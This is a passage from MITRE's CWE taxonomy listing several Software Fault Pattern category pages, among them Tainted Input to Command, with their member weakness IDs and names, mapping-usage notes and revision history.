HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.638Not Using Complete Mediation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Security

Category ID: 996
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Security cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.906SFP Primary Cluster: UI
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.356Product UI does not Warn User of Unsafe Actions
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.357Insufficient UI Warning of Dangerous Operations
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.446UI Discrepancy for Security Feature
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: State Disclosure

Category ID: 967
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.895SFP Primary Cluster: Information Leak
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.202Exposure of Sensitive Information Through Data Queries
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.204Observable Response Discrepancy
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.205Observable Behavioral Discrepancy
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.206Observable Internal Behavioral Discrepancy
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.207Observable Behavioral Discrepancy With Equivalent Products
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.208Observable Timing Discrepancy
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Tainted Input to Command

Category ID: 990
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Command cluster (SFP24).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.896SFP Primary Cluster: Tainted Input
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.75Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.76Improper Neutralization of Equivalent Special Elements
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.77Improper Neutralization of Special Elements used in a Command ('Command Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.78Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.81Improper Neutralization of Script in an Error Message Web Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.82Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.84Improper Neutralization of Encoded URI Schemes in a Web Page
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.85Doubled Character XSS Manipulations
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.87Improper Neutralization of Alternate XSS Syntax
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.88Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.89Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.90Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.91XML Injection (aka Blind XPath Injection)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.95Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.97Improper Neutralization of Server-Side Includes (SSI) Within a Web Page
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.99Improper Control of Resource Identifiers ('Resource Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.102Struts: Duplicate Validation Forms
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.103Struts: Incomplete validate() Method Definition
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.104Struts: Form Bean Does Not Extend Validation Class
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.105Struts: Form Field Without Validator
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.106Struts: Plug-in Framework not in Use
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.107Struts: Unused Validation Form
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.108Struts: Unvalidated Action Form
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.109Struts: Validator Turned Off
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.110Struts: Validator Without Form Field
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.112Missing XML Validation
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.130Improper Handling of Length Parameter Inconsistency
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.134Use of Externally-Controlled Format String
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.138Improper Neutralization of Special Elements
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.141Improper Neutralization of Parameter/Argument Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.142Improper Neutralization of Value Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.143Improper Neutralization of Record Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.144Improper Neutralization of Line Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.145Improper Neutralization of Section Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.146Improper Neutralization of Expression/Command Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.147Improper Neutralization of Input Terminators
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.148Improper Neutralization of Input Leaders
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.149Improper Neutralization of Quoting Syntax
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.150Improper Neutralization of Escape, Meta, or Control Sequences
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.151Improper Neutralization of Comment Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.152Improper Neutralization of Macro Symbols
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.153Improper Neutralization of Substitution Characters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.154Improper Neutralization of Variable Name Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.155Improper Neutralization of Wildcards or Matching Symbols
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.156Improper Neutralization of Whitespace
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.157Failure to Sanitize Paired Delimiters
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.158Improper Neutralization of Null Byte or NUL Character
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.159Improper Handling of Invalid Use of Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.160Improper Neutralization of Leading Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.161Improper Neutralization of Multiple Leading Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.163Improper Neutralization of Multiple Trailing Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.164Improper Neutralization of Internal Special Elements
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.165Improper Neutralization of Multiple Internal Special Elements
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.183Permissive List of Allowed Inputs
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.184Incomplete List of Disallowed Inputs
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.185Incorrect Regular Expression
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.186Overly Restrictive Regular Expression
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.553Command Shell in Externally Accessible Directory
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.554ASP.NET Misconfiguration: Not Using Input Validation Framework
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.564SQL Injection: Hibernate
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.601URL Redirection to Untrusted Site ('Open Redirect')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.611Improper Restriction of XML External Entity Reference
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.619Dangling Database Cursor ('Cursor Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.621Variable Extraction Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.624Executable Regular Expression Error
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.625Permissive Regular Expression
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.626Null Byte Interaction Error (Poison Null Byte)
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.627Dynamic Variable Evaluation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.641Improper Restriction of Names for Files and Other Resources
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.643Improper Neutralization of Data within XPath Expressions ('XPath Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.644Improper Neutralization of HTTP Headers for Scripting Syntax
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.646Reliance on File Name or Extension of Externally-Supplied File
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.652Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.687Function Call With Incorrectly Specified Argument Value
HasMemberPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-11-08CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2022-10-13CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Tainted Input to Environment

Category ID: 991
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Environment cluster (SFP27).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.896SFP Primary Cluster: Tainted Input
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.94Improper Control of Generation of Code ('Code Injection')
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.114Process Control
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.427Uncontrolled Search Path Element
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.470Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.472External Control of Assumed-Immutable Web Parameter
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.473PHP External Variable Modification
